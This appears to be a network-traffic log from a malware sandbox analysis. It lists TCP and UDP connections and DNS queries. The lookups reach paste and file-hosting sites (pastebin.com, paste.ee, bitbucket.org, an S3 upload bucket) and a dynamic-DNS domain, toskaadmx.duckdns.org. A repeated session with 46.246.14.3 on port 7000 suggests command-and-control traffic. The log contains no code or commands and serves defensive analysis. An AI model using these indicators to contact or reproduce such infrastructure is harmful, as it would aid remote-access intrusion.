Oct 3, 2024 06:53:26.860522985 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:27.229468107 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:27.281240940 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:53:27.286247015 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:27.421206951 CEST	49721	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:27.426345110 CEST	80	49721	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:27.426887035 CEST	49721	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:27.427201986 CEST	49721	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:27.432024956 CEST	80	49721	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:27.892222881 CEST	80	49721	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:27.893407106 CEST	49722	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:27.893485069 CEST	443	49722	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:27.893567085 CEST	49722	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:27.895808935 CEST	49722	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:27.895832062 CEST	443	49722	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:27.961062908 CEST	49721	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:28.362915039 CEST	443	49722	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:28.363008022 CEST	49722	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:28.366904974 CEST	49722	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:28.366914034 CEST	443	49722	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:28.367235899 CEST	443	49722	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:28.382477045 CEST	49722	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:28.423444033 CEST	443	49722	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:28.514761925 CEST	443	49722	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:28.514966965 CEST	443	49722	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:28.515036106 CEST	49722	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:28.515737057 CEST	49722	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:28.518873930 CEST	49723	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:28.518929958 CEST	443	49723	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:28.519053936 CEST	49723	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:28.519288063 CEST	49723	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:28.519316912 CEST	443	49723	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:29.249829054 CEST	443	49723	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:29.250272036 CEST	49723	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:29.251722097 CEST	49723	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:29.251777887 CEST	443	49723	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:29.252155066 CEST	443	49723	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:29.253621101 CEST	49723	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:29.295475960 CEST	443	49723	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:29.731653929 CEST	443	49723	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:29.731719971 CEST	443	49723	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:29.731765032 CEST	49723	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:29.731833935 CEST	443	49723	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:29.731873035 CEST	443	49723	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:29.731875896 CEST	49723	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:29.734654903 CEST	49723	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:29.839771032 CEST	49723	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:30.043791056 CEST	49724	443	192.168.2.5	3.5.25.83
Oct 3, 2024 06:53:30.043879986 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.043968916 CEST	49724	443	192.168.2.5	3.5.25.83
Oct 3, 2024 06:53:30.049074888 CEST	49724	443	192.168.2.5	3.5.25.83
Oct 3, 2024 06:53:30.049113989 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.620732069 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.620929003 CEST	49724	443	192.168.2.5	3.5.25.83
Oct 3, 2024 06:53:30.626286983 CEST	49724	443	192.168.2.5	3.5.25.83
Oct 3, 2024 06:53:30.626343966 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.626699924 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.629554987 CEST	49724	443	192.168.2.5	3.5.25.83
Oct 3, 2024 06:53:30.675445080 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.765286922 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.765436888 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.765687943 CEST	49724	443	192.168.2.5	3.5.25.83
Oct 3, 2024 06:53:30.765752077 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.765837908 CEST	49724	443	192.168.2.5	3.5.25.83
Oct 3, 2024 06:53:30.772739887 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.772759914 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.772890091 CEST	443	49724	3.5.25.83	192.168.2.5
Oct 3, 2024 06:53:30.772990942 CEST	49724	443	192.168.2.5	3.5.25.83
Oct 3, 2024 06:53:30.772990942 CEST	49724	443	192.168.2.5	3.5.25.83
Oct 3, 2024 06:53:30.773885965 CEST	49724	443	192.168.2.5	3.5.25.83
Oct 3, 2024 06:53:30.910020113 CEST	49721	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:30.910463095 CEST	49725	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:30.910521030 CEST	443	49725	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:30.910645962 CEST	49725	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:30.910870075 CEST	49725	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:30.910885096 CEST	443	49725	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:30.915642977 CEST	80	49721	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:30.915874958 CEST	49721	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:31.372246981 CEST	443	49725	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:31.374102116 CEST	49725	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:31.374109030 CEST	443	49725	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:31.500391006 CEST	443	49725	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:31.500734091 CEST	443	49725	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:31.500926971 CEST	49725	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:31.501256943 CEST	49725	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:32.934662104 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:32.976911068 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:53:33.631196022 CEST	49727	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:33.631269932 CEST	443	49727	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:33.631350040 CEST	49727	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:33.631619930 CEST	49727	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:33.631644011 CEST	443	49727	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:34.100311041 CEST	443	49727	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:34.101584911 CEST	49727	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:34.101653099 CEST	443	49727	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:34.227324963 CEST	443	49727	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:34.227601051 CEST	443	49727	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:34.228935957 CEST	49727	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:34.229077101 CEST	49727	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:34.230345964 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:34.230386972 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:34.230465889 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:34.230688095 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:34.230704069 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:34.692018032 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:34.692089081 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:34.693492889 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:34.693501949 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:34.693979979 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:34.697334051 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:34.739401102 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.100415945 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.100547075 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.100601912 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.100625992 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.100702047 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.100750923 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.100758076 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.160026073 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.160089016 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.160108089 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.160198927 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.160244942 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.160252094 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.160626888 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.160676003 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.160681963 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.186079025 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.186137915 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.186152935 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.186249971 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.186294079 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.186302900 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.186445951 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.186499119 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.186505079 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.186611891 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.186655045 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.186661959 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.186975002 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.187026978 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.187043905 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.246350050 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.246403933 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.246423006 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.246517897 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.246562004 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.246568918 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.246666908 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.246716976 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.246725082 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.246814013 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.246860027 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.246866941 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.247302055 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.247345924 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.247351885 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.247793913 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.247848988 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.247854948 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.247965097 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.248011112 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.248017073 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.248133898 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.248183966 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.248191118 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.272303104 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.272392988 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.272479057 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.272491932 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.272500992 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.272562981 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.272569895 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.272618055 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.273195028 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.273274899 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.273993015 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.274059057 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.274099112 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.274162054 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.332628965 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.332698107 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.332731009 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.332784891 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.332834959 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.332886934 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.332936049 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.332984924 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.333023071 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.333077908 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.333669901 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.333724022 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.333802938 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.333857059 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.334609985 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.334664106 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.334688902 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.334913969 CEST	443	49728	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:35.334964991 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:35.335211039 CEST	49728	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:38.289660931 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:53:38.294894934 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:38.696523905 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:38.698899984 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:53:38.704027891 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:49.727406979 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:53:49.961220026 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:53:50.102921009 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:50.102943897 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:50.480098009 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:50.520812035 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:53:50.525895119 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:01.165043116 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:01.176703930 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:01.564440012 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:01.589317083 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:01.609400034 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:02.852871895 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:02.992396116 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:12.602287054 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:12.607464075 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:13.168648958 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:13.171375990 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:13.176336050 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:18.196289062 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:18.201544046 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:18.695334911 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:18.699279070 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:18.704433918 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:29.633410931 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:29.638673067 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:30.008240938 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:30.011607885 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:30.016689062 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:31.273983955 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:31.279567003 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:31.785151958 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:31.787240028 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:31.792160034 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:32.851068974 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:32.898682117 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:34.321296930 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:34.326423883 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:34.555244923 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:34.560581923 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:34.704123974 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:34.705701113 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:34.710650921 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:34.979628086 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:34.982207060 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:34.987117052 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:41.680248022 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:41.685108900 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:42.056653976 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:42.058423042 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:42.063283920 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:49.914582014 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:49.919584036 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:50.292339087 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:50.295484066 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:50.300370932 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:57.352200031 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:57.365961075 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:57.753720045 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:57.765253067 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:57.791600943 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:54:59.950887918 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:54:59.955817938 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:00.347038984 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:00.348865032 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:00.360052109 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:00.648993969 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:00.661462069 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:00.836628914 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:00.841701031 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:01.063225985 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:01.065079927 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:01.069966078 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:01.070821047 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:01.075599909 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:01.103403091 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:01.108447075 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:01.393882036 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:01.395978928 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:01.400901079 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:01.708782911 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:01.710572004 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:01.716747046 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:02.020011902 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:02.042057991 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:02.047048092 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:02.862709999 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:02.914439917 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:06.148992062 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:06.156620979 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:06.543004990 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:06.545749903 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:06.565073967 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:15.430324078 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:15.435524940 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:15.805767059 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:55:15.806619883 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:55:15.811460018 CEST	7000	49712	46.246.14.3	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 06:53:05.471793890 CEST	50263	53	192.168.2.5	1.1.1.1
Oct 3, 2024 06:53:05.478642941 CEST	53	50263	1.1.1.1	192.168.2.5
Oct 3, 2024 06:53:07.108673096 CEST	50334	53	192.168.2.5	1.1.1.1
Oct 3, 2024 06:53:07.122102022 CEST	53	50334	1.1.1.1	192.168.2.5
Oct 3, 2024 06:53:08.514564037 CEST	62056	53	192.168.2.5	1.1.1.1
Oct 3, 2024 06:53:08.542387009 CEST	53	62056	1.1.1.1	192.168.2.5
Oct 3, 2024 06:53:13.594391108 CEST	50623	53	192.168.2.5	1.1.1.1
Oct 3, 2024 06:53:13.601444960 CEST	53	50623	1.1.1.1	192.168.2.5
Oct 3, 2024 06:53:15.118194103 CEST	62280	53	192.168.2.5	1.1.1.1
Oct 3, 2024 06:53:15.244723082 CEST	53	62280	1.1.1.1	192.168.2.5
Oct 3, 2024 06:53:30.022438049 CEST	59059	53	192.168.2.5	1.1.1.1
Oct 3, 2024 06:53:30.031774998 CEST	53	59059	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 06:53:05.471793890 CEST	192.168.2.5	1.1.1.1	0x97e4	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:07.108673096 CEST	192.168.2.5	1.1.1.1	0xe00b	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:08.514564037 CEST	192.168.2.5	1.1.1.1	0x8f48	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:13.594391108 CEST	192.168.2.5	1.1.1.1	0x69bb	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:15.118194103 CEST	192.168.2.5	1.1.1.1	0x4664	Standard query (0)	toskaadmx.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:53:30.022438049 CEST	192.168.2.5	1.1.1.1	0x4da6	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
